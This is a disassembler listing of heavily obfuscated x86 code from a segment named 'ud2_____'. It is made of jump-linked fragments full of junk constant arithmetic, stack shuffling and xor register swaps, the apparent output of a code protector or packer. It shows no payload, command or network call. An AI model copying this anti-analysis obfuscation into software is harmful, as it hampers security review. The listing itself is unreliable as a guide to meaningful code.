
loc_58925A:				; CODE XREF: ud2_____:0057F896j
		shr	edi, 1
		jmp	loc_58F392
; ---------------------------------------------------------------------------


loc_589261:				; CODE XREF: ud2_____:00581A8Fj
		pop	ebx
		and	ebx, 13C2A3Dh
		xor	ebx, 6E9A28B8h
		jmp	loc_58A211
; ---------------------------------------------------------------------------


loc_589273:				; CODE XREF: ud2_____:00581827j
		push	ebx
		push	edx
		mov	edx, 492247B5h
		inc	edx
		push	eax
		mov	eax, 3C99F7CFh
		sub	edx, 3E715238h
		sub	edx, eax
		add	edx, 3E715238h
		jmp	loc_58DF5C
; ---------------------------------------------------------------------------


loc_589294:				; CODE XREF: ud2_____:005882F9j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0D20222h
		jmp	loc_58DB3E
; ---------------------------------------------------------------------------


loc_5892BB:				; CODE XREF: ud2_____:00585237j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_583521
; ---------------------------------------------------------------------------


loc_5892C8:				; CODE XREF: ud2_____:005866DFj
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57FE4A
; ---------------------------------------------------------------------------


loc_5892E7:				; CODE XREF: ud2_____:0058065Dj
		pop	esp
		jmp	loc_585291
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_582651
; ---------------------------------------------------------------------------


loc_5892F7:				; CODE XREF: ud2_____:0057F2ABj
		mov	esp, [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 339D07A0h
		shl	edi, 4
		or	edi, 58F9598Fh
		push	ebp
		mov	ebp, 80D4E16h
		xor	edi, ebp
		pop	ebp
		shl	edi, 7
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 57624F53h
		push	edx
		jmp	loc_58F79A
; ---------------------------------------------------------------------------


loc_589333:				; CODE XREF: ud2_____:0058DFADj
		mov	ebp, esp
		push	edi
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 7A9D0AD5h
		inc	ebx
		shr	ebx, 2
		sub	ebx, 1EA742B1h
		mov	esi, ebx
		pop	ebx
		jmp	loc_58FFD5
; ---------------------------------------------------------------------------


loc_589357:				; CODE XREF: ud2_____:0058885Bj
		add	al, 0A5h
		sub	al, dh
		push	ebx
		push	edx
		jmp	loc_58C14E
; ---------------------------------------------------------------------------


loc_589362:				; CODE XREF: ud2_____:00591618j
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_57F148
; ---------------------------------------------------------------------------


loc_58936D:				; CODE XREF: ud2_____:0058883Cj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		push	eax
		push	52387386h
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		shl	eax, 6
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_57E55D
; ---------------------------------------------------------------------------


loc_5893A7:				; CODE XREF: ud2_____:00581AE1j
		add	edi, 4
		push	10F5h
		mov	[esp], ecx
		jmp	loc_58DEA5
; ---------------------------------------------------------------------------


loc_5893BA:				; CODE XREF: ud2_____:00587E3Ej
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58268F
; ---------------------------------------------------------------------------


loc_5893D6:				; CODE XREF: ud2_____:005846A9j
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		jmp	loc_57E2F4
; ---------------------------------------------------------------------------


loc_5893E5:				; CODE XREF: ud2_____:00585384j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, 0BDh
		shl	al, 3
		sub	al, 0EFh
		mov	dh, al
		pop	eax
		mov	bl, 0E7h
		sub	bl, 15h
		sub	bl, 0ECh
		jmp	loc_5905F0
; ---------------------------------------------------------------------------


loc_589406:				; CODE XREF: ud2_____:00583E0Dj
		push	7C6Bh
		mov	[esp], esi
		push	2E2Ah
		jmp	loc_591A67
; ---------------------------------------------------------------------------


loc_589418:				; CODE XREF: ud2_____:0058DCD3j
		neg	esi
		add	esi, 2D761DE3h
		push	ecx
		mov	ecx, 0
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2D4C319Ch
		add	esi, ecx
		pop	ecx
		push	1B17h
		jmp	loc_5844F6
; ---------------------------------------------------------------------------


loc_58943E:				; CODE XREF: ud2_____:0058F06Dj
		pop	esp
		push	2B9Bh
		mov	[esp], ebx
		jmp	loc_58529A
; ---------------------------------------------------------------------------


loc_58944C:				; CODE XREF: ud2_____:005926EAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_57EF80
; ---------------------------------------------------------------------------


loc_58945F:				; CODE XREF: ud2_____:0058C040j
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57EFAD
; ---------------------------------------------------------------------------


loc_589473:				; CODE XREF: ud2_____:0057EDCBj
		add	esi, ebx
		jmp	loc_5865A0
; ---------------------------------------------------------------------------


loc_58947A:				; CODE XREF: ud2_____:005817FCj
		inc	dword ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_589483:				; CODE XREF: ud2_____:0058F963j
		push	edx
		jmp	loc_57ED97
; ---------------------------------------------------------------------------


loc_589489:				; CODE XREF: ud2_____:00582867j
		pop	edi
		sub	edx, esi
		jmp	loc_5805DE
; ---------------------------------------------------------------------------


loc_589491:				; CODE XREF: ud2_____:00587C8Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58E823
; ---------------------------------------------------------------------------


loc_58949F:				; CODE XREF: ud2_____:0058BF34j
		pop	ebx
		push	edx
		mov	dh, 0C3h
		shr	dh, 1
		jmp	loc_58A96D
; ---------------------------------------------------------------------------


loc_5894AA:				; CODE XREF: ud2_____:0058B16Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	ebp
		mov	ebp, 39231160h
		add	edi, ebp
		jmp	loc_58192B
; ---------------------------------------------------------------------------


loc_5894C2:				; CODE XREF: ud2_____:0057EFC7j
		pop	esp
		xor	edx, 7FFFB7FDh
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_589D40
; ---------------------------------------------------------------------------


loc_5894D7:				; CODE XREF: ud2_____:00590FECj
		mov	ebp, eax
		pop	eax
		xchg	edi, ebp
		neg	edi
		jmp	loc_5913BF
; ---------------------------------------------------------------------------


loc_5894E3:				; CODE XREF: ud2_____:0058F84Ej
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 45E9539Bh
		jmp	loc_589D16
; ---------------------------------------------------------------------------


loc_5894F8:				; CODE XREF: ud2_____:0058B8DDj
		push	esp
		pop	ecx
		jmp	loc_581866
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58D76B
; ---------------------------------------------------------------------------


loc_58950A:				; CODE XREF: ud2_____:0058DD10j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edx
		xor	edx, edx
		push	edx
		mov	edx, ebx
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4FD55ED9h
		jmp	loc_5871E7
; ---------------------------------------------------------------------------


loc_589535:				; CODE XREF: ud2_____:00591F51j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_587962
; ---------------------------------------------------------------------------


loc_58954C:				; CODE XREF: ud2_____:0058ED76j
		push	esi
		mov	esi, 3882139h
		push	edi
		jmp	loc_588D1F
; ---------------------------------------------------------------------------


loc_589558:				; CODE XREF: ud2_____:00592734j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	1B2Dh
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	edi
		mov	edi, 65436D3h
		push	edi
		xor	dword ptr [esp], 6BA9778Ch
		jmp	loc_58C4DD
; ---------------------------------------------------------------------------


loc_589587:				; CODE XREF: ud2_____:0058EB82j
		mov	esi, 4
		sub	ecx, 4CBB6D88h
		add	ecx, esi
		add	ecx, 4CBB6D88h
		pop	esi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_58A782
; ---------------------------------------------------------------------------


loc_5895A9:				; CODE XREF: ud2_____:005908FAj
		mov	eax, 5E355616h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 0F8CF35DBh
		and	ebp, edi
		pop	edi
		push	1D47h
		mov	[esp], eax
		mov	eax, 2F0C02BFh
		jmp	loc_5858EE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5812FD
; ---------------------------------------------------------------------------


loc_5895EB:				; CODE XREF: ud2_____:00582052j
		sub	ebx, 7E99C8FCh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		push	7EBAh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	edi, [esp]
		push	edi
		push	eax
		push	dword ptr [esp]
		jmp	loc_5820A4
; ---------------------------------------------------------------------------


loc_58961A:				; CODE XREF: ud2_____:00590932j
		pop	edx
		jmp	loc_59242C
; ---------------------------------------------------------------------------


loc_589620:				; CODE XREF: ud2_____:00580625j
		sub	ebx, 5AF17CC0h
		add	ebx, 3D831918h
		push	ecx
		jmp	loc_5920AA
; ---------------------------------------------------------------------------


loc_589632:				; CODE XREF: ud2_____:0058A4AEj
		not	edi
		shr	edi, 7
		push	esi
		jmp	loc_591B58
; ---------------------------------------------------------------------------


loc_58963D:				; CODE XREF: ud2_____:00590DBFj
		mov	ebp, esp
		jmp	loc_58F767
; ---------------------------------------------------------------------------


loc_589644:				; CODE XREF: ud2_____:0057F5B0j
		mov	[esp], edi
		jmp	loc_5878AE
; ---------------------------------------------------------------------------


loc_58964C:				; CODE XREF: ud2_____:0058B34Dj
		mov	esi, [esp]
		add	esp, 4
		add	ecx, edx
		jmp	loc_58C776
; ---------------------------------------------------------------------------


loc_58965C:				; CODE XREF: ud2_____:0058DC33j
		push	edx
		mov	edx, 8E8D11Eh
		add	esi, 24E26E3Bh
		push	ecx
		mov	ecx, 7DCE583Ch
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	ecx, 34576E5Fh
		dec	ecx
		push	4EA6h
		mov	[esp], edx
		mov	edx, 29F11A0Ch
		inc	edx
		and	edx, 46A17930h
		xor	edx, 7B1B79AFh
		jmp	loc_5899D6
; ---------------------------------------------------------------------------


loc_58969A:				; CODE XREF: ud2_____:0058592Cj
		xor	ecx, 0FF738068h
		add	edi, 19E81B56h
		jmp	loc_57E116
; ---------------------------------------------------------------------------


loc_5896AB:				; CODE XREF: ud2_____:00587BB5j
		sub	eax, 214E227Ah
		sub	eax, 12FEC6D9h
		add	ecx, eax
		pop	eax
		add	ecx, edi
		sub	ecx, 9D25158h
		pop	edi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_592358
; ---------------------------------------------------------------------------


loc_5896DD:				; CODE XREF: ud2_____:0057F13Dj
		push	1A51h
		jmp	loc_59077D
; ---------------------------------------------------------------------------


loc_5896E7:				; CODE XREF: ud2_____:00588FB0j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5896EC:				; CODE XREF: ud2_____:0058389Ej
		inc	esi
		dec	esi
		push	edx
		push	esi
		mov	esi, 0F9847AFh
		sub	esi, 19346A53h
		sub	esi, 15C357C8h
		shr	esi, 1
		sub	esi, 1C434AD2h
		sub	esi, 27E93D95h
		xor	esi, 2B739D50h
		mov	edx, esi
		pop	esi
		jmp	loc_587248
; ---------------------------------------------------------------------------


loc_58971D:				; CODE XREF: ud2_____:0058D0DAj
		push	edx
		mov	edx, 43B94841h
		add	esi, edx
		pop	edx
		inc	esi
		add	esi, 15A6D8BEh
		add	ebx, esi
		jmp	loc_591DE3
; ---------------------------------------------------------------------------


loc_589734:				; CODE XREF: ud2_____:00584E5Ej
		or	esi, 12BE6E55h
		jmp	loc_5907B9
; ---------------------------------------------------------------------------


loc_58973F:				; CODE XREF: ud2_____:00587090j
		push	edx
		jmp	loc_58F0F8
; ---------------------------------------------------------------------------


loc_589745:				; CODE XREF: ud2_____:005864A0j
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 40317D51h
		xor	esi, 18541FFDh
		push	esi
		jmp	loc_591A18
; ---------------------------------------------------------------------------


loc_589769:				; CODE XREF: ud2_____:00590845j
		push	edx
		jmp	loc_5829DA
; ---------------------------------------------------------------------------


loc_58976F:				; CODE XREF: ud2_____:0058FF01j
		push	0BF66DDFh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0BF66DDBh
		sub	esp, 4
		jmp	loc_58F69A
; ---------------------------------------------------------------------------


loc_589788:				; CODE XREF: ud2_____:0057F775j
		add	dword ptr [esp], 4
		jmp	loc_581790
; ---------------------------------------------------------------------------


loc_589794:				; CODE XREF: ud2_____:0058A285j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_58644B
; ---------------------------------------------------------------------------


loc_5897A0:				; CODE XREF: ud2_____:0057EC3Ej
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		push	7C9Ch
		jmp	loc_58C035
; ---------------------------------------------------------------------------


loc_5897B4:				; CODE XREF: ud2_____:00580B8Fj
		pop	edx
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_58F060
; ---------------------------------------------------------------------------


loc_5897C3:				; CODE XREF: ud2_____:0058B2AAj
		mov	[esp], ecx
		push	2F5Bh
		mov	[esp], ebp
		push	437E6BA5h
		pop	ebp
		or	ebp, 3FB704DEh
		dec	ebp
		jmp	loc_589909
; ---------------------------------------------------------------------------


loc_5897E0:				; CODE XREF: ud2_____:0058C0E3j
		pop	eax
		push	ebp
		push	edi
		mov	edi, 1A0218E3h
		mov	ebp, edi
		pop	edi
		jmp	loc_58AF34
; ---------------------------------------------------------------------------


loc_5897F0:				; CODE XREF: ud2_____:0058D1A1j
		push	ecx
		jmp	loc_586F14
; ---------------------------------------------------------------------------


loc_5897F6:				; CODE XREF: ud2_____:0058EB21j
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 2FAF0851h
		mov	ebp, [esp]
		push	eax
		jmp	loc_58BEDD
; ---------------------------------------------------------------------------


loc_58980B:				; CODE XREF: ud2_____:0057EF6Ej
		xor	eax, ebx
		push	1F81h
		mov	[esp], edi
		push	edx
		push	ebp
		mov	ebp, 799B7CC4h
		mov	edx, 659A7D8Ah
		xor	edx, ebp
		pop	ebp
		push	edx
		pop	edi
		pop	edx
		push	40F5h
		mov	[esp], edx
		mov	edx, 16730F87h
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	435Dh
		mov	[esp], edi
		jmp	loc_57F9D8
; ---------------------------------------------------------------------------


loc_589847:				; CODE XREF: ud2_____:0058C889j
		add	esp, 4
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_58E53E
; ---------------------------------------------------------------------------


loc_58985C:				; CODE XREF: ud2_____:0058C521j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_589861:				; CODE XREF: ud2_____:0058ACCBj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58AD89
; ---------------------------------------------------------------------------


loc_589872:				; CODE XREF: ud2_____:005810AFj
		shl	esi, 3
		dec	esi
		xor	esi, 87755173h
		add	edi, esi
		push	dword ptr [esp]
		jmp	loc_583EB8
; ---------------------------------------------------------------------------


loc_589886:				; CODE XREF: ud2_____:00582B3Fj
		sub	eax, ebx
		add	eax, 72A25D8h
		add	eax, 552D78A1h
		push	4F4Dh
		mov	[esp], ebx
		push	eax
		mov	eax, 0DEE766Ah
		mov	ebx, eax
		jmp	loc_588C88
; ---------------------------------------------------------------------------


loc_5898A7:				; CODE XREF: ud2_____:0058BF4Ej
		add	ebp, edx
		add	ebp, 73E50C10h
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		jmp	loc_59027F
; ---------------------------------------------------------------------------


loc_5898BF:				; CODE XREF: ud2_____:005819F9j
		pop	edi
		jmp	loc_585C42
; ---------------------------------------------------------------------------


loc_5898C5:				; CODE XREF: ud2_____:0057FAA5j
		sub	edx, 64BC2E1Eh
		pop	esi
		sub	ebp, edx
		pop	edx
		jmp	loc_585DA4
; ---------------------------------------------------------------------------


loc_5898D4:				; CODE XREF: ud2_____:005816D1j
		mov	dx, 6AF4h
		push	dx
		sub	word ptr [esp],	42D7h
		pop	bp
		jmp	loc_590F42
; ---------------------------------------------------------------------------


loc_5898E7:				; CODE XREF: ud2_____:00591811j
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5907B1
; ---------------------------------------------------------------------------


loc_5898F2:				; CODE XREF: ud2_____:00588866j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_586DFA
; ---------------------------------------------------------------------------


loc_589900:				; CODE XREF: ud2_____:00588483j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58CB55
; ---------------------------------------------------------------------------


loc_589909:				; CODE XREF: ud2_____:005897DBj
		add	ebp, 0FFFFFFFFh
		push	esi
		mov	esi, 1E7EF442h
		add	ebp, 126C773Fh
		sub	ebp, esi
		jmp	loc_5901FA
; ---------------------------------------------------------------------------


loc_589922:				; CODE XREF: ud2_____:005918CAj
		pop	esi
		sub	edi, 43FB7AB0h
		add	edi, eax
		add	edi, 43FB7AB0h
		push	55AEh
		jmp	loc_585034
; ---------------------------------------------------------------------------


loc_58993B:				; CODE XREF: ud2_____:005827E6j
		pop	esp
		jmp	loc_58DFFB
; ---------------------------------------------------------------------------


loc_589941:				; CODE XREF: ud2_____:00580590j
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58E47B
; ---------------------------------------------------------------------------


loc_589950:				; CODE XREF: ud2_____:0057EB14j
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_581EAC
; ---------------------------------------------------------------------------


loc_58995D:				; CODE XREF: ud2_____:005907D8j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_58ADEC
; ---------------------------------------------------------------------------


loc_589968:				; CODE XREF: ud2_____:0058A77Dj
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_58A0D2
; ---------------------------------------------------------------------------


loc_589978:				; CODE XREF: ud2_____:005839F6j
		sub	ebx, 0DD008BA3h
		push	ebx
		pop	ebp
		pop	ebx
		push	ebx
		mov	ebx, 21F155B4h
		jmp	loc_58D1A6
; ---------------------------------------------------------------------------


loc_58998C:				; CODE XREF: ud2_____:00588453j
		xor	ebx, 3C013138h
		sub	ecx, ebx
		pop	ebx
		neg	ecx
		jmp	loc_58408C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_5900FC
; ---------------------------------------------------------------------------


loc_5899BA:				; CODE XREF: ud2_____:00592078j
		add	esp, 4
		sub	esp, 4
		jmp	loc_57EE1B
; ---------------------------------------------------------------------------


loc_5899CB:				; CODE XREF: ud2_____:00590F73j
		push	eax
		mov	eax, 2C345A0Ch
		jmp	loc_58AB03
; ---------------------------------------------------------------------------


loc_5899D6:				; CODE XREF: ud2_____:00589695j
		sub	edx, 3FE19A63h
		sub	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		add	esi, edx
		sub	esi, 12017217h
		sub	esi, 24E26E3Bh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58342B
; ---------------------------------------------------------------------------


loc_589A0A:				; CODE XREF: ud2_____:00587BF2j
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_586924
; ---------------------------------------------------------------------------


loc_589A1A:				; CODE XREF: ud2_____:0058BFC0j
		mov	edx, 65973F4Bh
		add	ebp, edx
		pop	edx
		add	ebp, edx
		sub	ebp, 65973F4Bh
		pop	edx
		push	edi
		jmp	loc_5806AD
; ---------------------------------------------------------------------------


loc_589A31:				; CODE XREF: ud2_____:0058C288j
		push	esi
		mov	esi, 3DA3D5Dh
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	49Ah
		mov	[esp], eax
		jmp	loc_58A642
; ---------------------------------------------------------------------------


loc_589A5F:				; CODE XREF: ud2_____:005871E2j
		mov	edi, 4
		sub	edx, 5C64099Fh
		add	edx, edi
		jmp	loc_586498
; ---------------------------------------------------------------------------


loc_589A71:				; CODE XREF: ud2_____:0058E2EAj
		jz	loc_581C3D
		push	dword ptr [edi+1Ch]
		push	ecx
		push	52ACh
		mov	[esp], edx
		mov	edx, 4570319Ah
		push	ebx
		mov	ebx, edx
		push	ebp
		jmp	loc_5867E7
; ---------------------------------------------------------------------------


loc_589A91:				; CODE XREF: ud2_____:005875D4j
		mov	esi, esp
		jmp	loc_583417
; ---------------------------------------------------------------------------


loc_589A98:				; CODE XREF: ud2_____:0057F216j
		add	bh, 1
		neg	bh
		jmp	loc_58791C
; ---------------------------------------------------------------------------


loc_589AA2:				; CODE XREF: ud2_____:00588024j
		mov	ebx, [esp]
		push	edx
		jmp	loc_58A702
; ---------------------------------------------------------------------------


loc_589AAB:				; CODE XREF: ud2_____:0058F1E7j
		add	ebx, 0EE030Eh
		add	eax, ebx
		pop	ebx
		add	eax, 54633019h
		add	eax, ebx
		jmp	loc_58FA2B
; ---------------------------------------------------------------------------


loc_589AC0:				; CODE XREF: ud2_____:00583DFAj
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_581C4C
; ---------------------------------------------------------------------------


loc_589ACE:				; CODE XREF: ud2_____:005807CBj
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_5919DC
; ---------------------------------------------------------------------------


loc_589AE4:				; CODE XREF: ud2_____:00580B9Dj
		pop	esp
		mov	[esp], ecx
		push	ecx
		mov	ecx, 5D617894h
		add	[esp+4], ecx
		pop	ecx
		pop	dword ptr [ebx]
		push	ebp
		mov	ebp, 5D617894h
		sub	[ebx], ebp
		pop	ebp
		mov	ebx, [esp]
		push	60CEh
		jmp	loc_58D677
; ---------------------------------------------------------------------------


loc_589B0B:				; CODE XREF: ud2_____:0057F3FBj
		or	edi, 6C98716Ah
		and	edi, 43E1249Fh
		push	edi
		jmp	loc_57E171
; ---------------------------------------------------------------------------


loc_589B1D:				; CODE XREF: ud2_____:00583FAEj
		push	4A33h
		mov	[esp], ecx
		mov	ecx, 720C38F7h
		mov	ebp, 77A3409Eh
		xor	ebp, ecx
		pop	ecx
		add	ebp, 26BE3D7Fh
		and	ebp, 18131DBDh
		sub	ebp, 733D23C2h
		or	ebp, 7A001869h
		sub	ebp, 0B6FE96FDh
		add	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 4F003315h
		sub	edx, eax
		push	ebx
		push	14E95EE2h
		pop	ebx
		jmp	loc_58F50E
; ---------------------------------------------------------------------------


loc_589B70:				; CODE XREF: ud2_____:00583453j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58C825
; ---------------------------------------------------------------------------


loc_589B7A:				; CODE XREF: ud2_____:0059196Bj
		shl	edi, 1
		sub	edi, 1
		jmp	loc_58A896
; ---------------------------------------------------------------------------


loc_589B84:				; CODE XREF: ud2_____:00586136j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58F92D
; ---------------------------------------------------------------------------


loc_589B91:				; CODE XREF: ud2_____:00592CD9j
		pop	esp
		push	ecx
		mov	ecx, 3C604C1h
		sub	[esp+4], ecx
		pop	ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_589BA2:				; CODE XREF: ud2_____:0058B0C3j
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58011B
; ---------------------------------------------------------------------------


loc_589BB1:				; CODE XREF: ud2_____:0058C202j
		mov	eax, 4E196AAFh
		push	edi
		mov	edi, 40992CC0h
		jmp	loc_5921C1
; ---------------------------------------------------------------------------


loc_589BC1:				; CODE XREF: ud2_____:00592E3Bj
		xor	ecx, [esp]
		jmp	loc_58D98E
; ---------------------------------------------------------------------------


loc_589BC9:				; CODE XREF: ud2_____:005816E5j
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_5885D8
; ---------------------------------------------------------------------------


loc_589BD2:				; CODE XREF: ud2_____:00588941j
		or	edx, 214A0BC6h
		dec	edx
		add	edx, 1B500E48h
		jmp	loc_58DBE5
; ---------------------------------------------------------------------------


loc_589BE4:				; CODE XREF: ud2_____:00587FA8j
		push	ecx
		jmp	loc_58062A
; ---------------------------------------------------------------------------


loc_589BEA:				; CODE XREF: ud2_____:0058EA08j
		not	edi
		dec	edi
		add	edi, 1D19071h
		add	esi, 7962F6h
		sub	esi, edi
		sub	esi, 7962F6h
		pop	edi
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_589E0A
; ---------------------------------------------------------------------------


loc_589C0F:				; CODE XREF: ud2_____:005860FFj
		mov	eax, [esp]
		push	edi
		push	esp
		jmp	loc_57E451
; ---------------------------------------------------------------------------


loc_589C19:				; CODE XREF: ud2_____:00584452j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_585B12
; ---------------------------------------------------------------------------


loc_589C2B:				; CODE XREF: ud2_____:0058F2E1j
		push	dword ptr [esp]
		jmp	loc_5852B4
; ---------------------------------------------------------------------------


loc_589C33:				; CODE XREF: ud2_____:0059266Bj
		push	ebp
		push	ecx
		jmp	loc_5810FB
; ---------------------------------------------------------------------------


loc_589C3A:				; CODE XREF: ud2_____:005860F3j
		push	edx
		push	eax
		push	ebx
		mov	bl, 28h
		mov	ah, 0B7h
		add	ah, bl
		jmp	loc_5816D6
; ---------------------------------------------------------------------------


loc_589C48:				; CODE XREF: ud2_____:00589124j
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57E2EB
; ---------------------------------------------------------------------------


loc_589C5F:				; CODE XREF: ud2_____:00583C3Bj
		mov	[esp], edx
		mov	edx, 14003h
		sub	edi, 0BDF21F9h
		jmp	loc_588667
; ---------------------------------------------------------------------------


loc_589C72:				; CODE XREF: ud2_____:0058FC53j
		shl	edi, 5
		inc	edi
		jmp	loc_58DF46
; ---------------------------------------------------------------------------


loc_589C7B:				; CODE XREF: ud2_____:0058AFFDj
		push	dword ptr [esp]
		jmp	loc_58FD6A
; ---------------------------------------------------------------------------


loc_589C83:				; CODE XREF: ud2_____:0057E596j
		xchg	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		pop	ecx
		mov	edi, [esp]
		jmp	loc_57E6F2
; ---------------------------------------------------------------------------


loc_589C96:				; CODE XREF: ud2_____:005809E0j
		push	edi
		push	ebp
		jmp	loc_580CE7
; ---------------------------------------------------------------------------


loc_589C9D:				; CODE XREF: ud2_____:0058E6B1j
		pop	esi
		add	ebx, ebp
		pop	ebp
		jmp	loc_585CAF
; ---------------------------------------------------------------------------


loc_589CA6:				; CODE XREF: ud2_____:00586F19j
		mov	esi, ecx
		pop	ecx
		sub	edi, 67436BFAh
		add	edi, esi
		add	edi, 67436BFAh
		pop	esi
		jmp	loc_581DC8
; ---------------------------------------------------------------------------


loc_589CBD:				; CODE XREF: ud2_____:0058B77Fj
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58C793
; ---------------------------------------------------------------------------


loc_589CCE:				; CODE XREF: ud2_____:0058FD1Aj
		add	eax, edi
		add	eax, 442B0FE2h
		mov	edi, [esp]
		jmp	loc_58EE6E
; ---------------------------------------------------------------------------


loc_589CDD:				; CODE XREF: ud2_____:0058CEFBj
		mov	ebp, 3FD12F6Ah
		jmp	loc_591775
; ---------------------------------------------------------------------------


loc_589CE7:				; CODE XREF: ud2_____:0057FB44j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 4FBD6331h
		mov	esi, 2F3A6572h
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_58EF65
; ---------------------------------------------------------------------------


loc_589D08:				; CODE XREF: ud2_____:0057FC81j
		push	ebx
